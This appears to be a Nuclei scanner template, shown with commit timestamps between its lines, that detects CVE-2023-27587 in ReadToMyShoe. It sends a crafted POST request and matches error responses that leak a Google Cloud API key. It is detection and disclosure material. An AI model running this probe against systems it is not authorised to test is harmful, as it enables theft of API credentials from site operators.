2023-03-15 16:39:41 +00:00
id : CVE-2023-27587
info :
2023-03-21 20:33:32 +00:00
name : ReadToMyShoe - Google Cloud API Disclosure
2023-03-21 20:25:10 +00:00
author : vagnerd
2023-03-15 16:39:41 +00:00
severity : high
description : |
If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key.
reference :
2023-03-21 20:25:10 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587
2023-03-15 16:39:41 +00:00
- https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
- https://github.com/sec-fx/CVE-2023-27587-PoC
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
cvss-score : 7.4
cve-id : CVE-2023-27587
cwe-id : CWE-209
2023-03-21 20:33:32 +00:00
tags : cve,cve2023,debug,readtomyshoe,disclosure
2023-03-15 16:39:41 +00:00
requests :
- raw :
- |
POST /api/add-article-by-text HTTP/1.1
Host : {{Hostname}}
Accept-Encoding : gzip, deflate
2023-03-21 20:25:10 +00:00
Content-Type : application/json
2023-03-15 16:39:41 +00:00
{
"title" : "Kernsicherheitstest" ,
"body" : "Kernsicherheitstest"
}
matchers-condition : and
matchers :
2023-03-21 19:36:32 +00:00
- type : word
words :
- "Caused by:"
- "TTS request failed"
condition : and
- type : word
part : header
words :
- "text/plain"
2023-03-15 16:39:41 +00:00
- type : status
status :
- 500
2023-03-21 20:25:10 +00:00
- type : dsl
2023-03-15 16:39:41 +00:00
dsl :
- '!contains((body), ' 'https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED' ')'